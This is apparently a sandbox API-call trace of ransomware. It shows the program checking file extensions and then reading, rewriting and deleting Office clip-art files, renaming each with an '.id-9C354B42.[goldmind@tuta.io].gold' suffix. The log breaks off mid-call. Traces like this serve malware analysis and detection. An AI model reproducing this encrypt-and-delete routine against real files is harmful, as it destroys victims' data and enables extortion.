[0053.394] lstrlenW (lpString=".1cd") returned 4 [0053.394] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0053.394] lstrlenW (lpString=".jpg") returned 4 [0053.394] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0053.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0053.394] lstrlenW (lpString=".doc") returned 4 [0053.394] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.394] lstrlenW (lpString=".docx") returned 5 [0053.394] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.394] lstrlenW (lpString=".pdf") returned 4 [0053.394] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.394] lstrlenW (lpString=".xls") returned 4 [0053.394] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.394] lstrlenW (lpString=".xlsx") returned 5 [0053.394] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.394] lstrlenW (lpString=".ppt") returned 4 [0053.394] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0053.394] lstrlenW (lpString=".zip") returned 4 [0053.394] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.394] lstrlenW (lpString=".rar") returned 4 [0053.395] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.395] lstrlenW (lpString=".bz2") returned 4 [0053.395] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.395] lstrlenW (lpString=".7z") returned 3 [0053.395] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0053.395] lstrlenW (lpString=".dbf") returned 4 [0053.395] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0053.395] lstrlenW (lpString=".1cd") returned 4 [0053.395] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0053.395] lstrlenW (lpString=".jpg") returned 4 [0053.395] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.395] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0053.395] lstrlenW (lpString="BL00269_.WMF") returned 12 [0053.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0053.395] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=5272) returned 1 [0053.395] CloseHandle (hObject=0x214) returned 1 [0053.395] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf")) returned 0x20 [0053.395] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0053.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0053.395] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.395] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0053.396] GetLastError () returned 0x0 [0053.396] ReadFile (in: hFile=0x214, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x1498, lpOverlapped=0x0) returned 1 [0053.397] WriteFile (in: hFile=0x20c, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x14a0, lpOverlapped=0x0) returned 1 [0053.398] ReadFile (in: hFile=0x214, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.398] WriteFile (in: hFile=0x20c, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.398] SetEndOfFile (hFile=0x20c) returned 1 [0053.398] CloseHandle (hObject=0x20c) returned 1 [0053.398] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.398] SetEndOfFile (hFile=0x214) returned 1 [0053.399] CloseHandle (hObject=0x214) returned 1 [0053.399] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0053.399] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf")) returned 1 [0053.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0053.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0053.399] lstrlenW (lpString=".doc") returned 4 [0053.399] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.399] lstrlenW (lpString=".docx") returned 5 [0053.399] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.399] lstrlenW (lpString=".pdf") returned 4 [0053.399] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.399] lstrlenW (lpString=".xls") returned 4 [0053.399] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.399] lstrlenW (lpString=".xlsx") returned 5 [0053.399] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.399] lstrlenW (lpString=".ppt") returned 4 [0053.399] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0053.399] lstrlenW (lpString=".zip") returned 4 [0053.399] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.399] lstrlenW (lpString=".rar") returned 4 [0053.399] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.399] lstrlenW (lpString=".bz2") returned 4 [0053.399] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.399] lstrlenW (lpString=".7z") returned 3 [0053.399] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0053.399] lstrlenW (lpString=".dbf") returned 4 [0053.400] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0053.400] lstrlenW (lpString=".1cd") returned 4 [0053.400] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0053.400] lstrlenW (lpString=".jpg") returned 4 [0053.400] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0053.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0053.400] lstrlenW (lpString=".doc") returned 4 [0053.400] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.400] lstrlenW (lpString=".docx") returned 5 [0053.400] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.400] lstrlenW (lpString=".pdf") returned 4 [0053.400] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.400] lstrlenW (lpString=".xls") returned 4 [0053.400] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.400] lstrlenW (lpString=".xlsx") returned 5 [0053.400] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.400] lstrlenW (lpString=".ppt") returned 4 [0053.400] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0053.400] lstrlenW (lpString=".zip") returned 4 [0053.400] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.400] lstrlenW (lpString=".rar") returned 4 [0053.400] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.400] lstrlenW (lpString=".bz2") returned 4 [0053.400] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.400] lstrlenW (lpString=".7z") returned 3 [0053.400] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0053.400] lstrlenW (lpString=".dbf") returned 4 [0053.400] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0053.400] lstrlenW (lpString=".1cd") returned 4 [0053.400] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0053.400] lstrlenW (lpString=".jpg") returned 4 [0053.400] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.400] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0053.400] lstrlenW (lpString="BL00270_.WMF") returned 12 [0053.400] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0053.401] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=3016) returned 1 [0053.401] CloseHandle (hObject=0x214) returned 1 [0053.401] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf")) returned 0x20 [0053.401] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0053.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0053.401] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.401] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0053.402] GetLastError () returned 0x0 [0053.402] ReadFile (in: hFile=0x214, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0xbc8, lpOverlapped=0x0) returned 1 [0053.403] WriteFile (in: hFile=0x20c, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xbd0, lpOverlapped=0x0) returned 1 [0053.404] ReadFile (in: hFile=0x214, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.404] WriteFile (in: hFile=0x20c, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.404] SetEndOfFile (hFile=0x20c) returned 1 [0053.404] CloseHandle (hObject=0x20c) returned 1 [0053.404] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.404] SetEndOfFile (hFile=0x214) returned 1 [0053.405] CloseHandle (hObject=0x214) returned 1 [0053.405] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0053.405] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf")) returned 1 [0053.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0053.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0053.405] lstrlenW (lpString=".doc") returned 4 [0053.405] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.405] lstrlenW (lpString=".docx") returned 5 [0053.405] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.405] lstrlenW (lpString=".pdf") returned 4 [0053.405] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.405] lstrlenW (lpString=".xls") returned 4 [0053.405] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.405] lstrlenW (lpString=".xlsx") returned 5 [0053.405] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.405] lstrlenW (lpString=".ppt") returned 4 [0053.405] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0053.405] lstrlenW (lpString=".zip") returned 4 [0053.405] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.405] lstrlenW (lpString=".rar") returned 4 [0053.405] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.405] lstrlenW (lpString=".bz2") returned 4 [0053.405] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.406] lstrlenW (lpString=".7z") returned 3 [0053.406] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0053.406] lstrlenW (lpString=".dbf") returned 4 [0053.406] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0053.406] lstrlenW (lpString=".1cd") returned 4 [0053.406] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0053.406] lstrlenW (lpString=".jpg") returned 4 [0053.406] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0053.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0053.406] lstrlenW (lpString=".doc") returned 4 [0053.406] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.406] lstrlenW (lpString=".docx") returned 5 [0053.406] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.406] lstrlenW (lpString=".pdf") returned 4 [0053.406] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.406] lstrlenW (lpString=".xls") returned 4 [0053.406] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.406] lstrlenW (lpString=".xlsx") returned 5 [0053.406] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.406] lstrlenW (lpString=".ppt") returned 4 [0053.406] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0053.406] lstrlenW (lpString=".zip") returned 4 [0053.406] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.406] lstrlenW (lpString=".rar") returned 4 [0053.406] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.406] lstrlenW (lpString=".bz2") returned 4 [0053.406] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.406] lstrlenW (lpString=".7z") returned 3 [0053.406] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0053.406] lstrlenW (lpString=".dbf") returned 4 [0053.406] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0053.406] lstrlenW (lpString=".1cd") returned 4 [0053.406] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0053.406] lstrlenW (lpString=".jpg") returned 4 [0053.406] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.406] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0053.406] lstrlenW (lpString="BL00273_.WMF") returned 12 [0053.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0053.407] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=3780) returned 1 [0053.407] CloseHandle (hObject=0x214) returned 1 [0053.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf")) returned 0x20 [0053.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0053.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0053.407] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.407] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0053.407] GetLastError () returned 0x0 [0053.407] ReadFile (in: hFile=0x214, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0xec4, lpOverlapped=0x0) returned 1 [0053.408] WriteFile (in: hFile=0x20c, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xed0, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xed0, lpOverlapped=0x0) returned 1 [0053.409] ReadFile (in: hFile=0x214, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.409] WriteFile (in: hFile=0x20c, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.409] SetEndOfFile (hFile=0x20c) returned 1 [0053.409] CloseHandle (hObject=0x20c) returned 1 [0053.410] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.410] SetEndOfFile (hFile=0x214) returned 1 [0053.410] CloseHandle (hObject=0x214) returned 1 [0053.410] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0053.410] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf")) returned 1 [0053.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0053.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0053.411] lstrlenW (lpString=".doc") returned 4 [0053.411] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.411] lstrlenW (lpString=".docx") returned 5 [0053.411] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.411] lstrlenW (lpString=".pdf") returned 4 [0053.411] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.411] lstrlenW (lpString=".xls") returned 4 [0053.411] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.411] lstrlenW (lpString=".xlsx") returned 5 [0053.411] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.411] lstrlenW (lpString=".ppt") returned 4 [0053.411] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0053.411] lstrlenW (lpString=".zip") returned 4 [0053.411] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.411] lstrlenW (lpString=".rar") returned 4 [0053.411] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.411] lstrlenW (lpString=".bz2") returned 4 [0053.411] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.411] lstrlenW (lpString=".7z") returned 3 [0053.411] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0053.411] lstrlenW (lpString=".dbf") returned 4 [0053.411] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0053.411] lstrlenW (lpString=".1cd") returned 4 [0053.411] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0053.411] lstrlenW (lpString=".jpg") returned 4 [0053.411] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0053.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0053.411] lstrlenW (lpString=".doc") returned 4 [0053.411] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.411] lstrlenW (lpString=".docx") returned 5 [0053.411] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.411] lstrlenW (lpString=".pdf") returned 4 [0053.411] lstrcmpiW 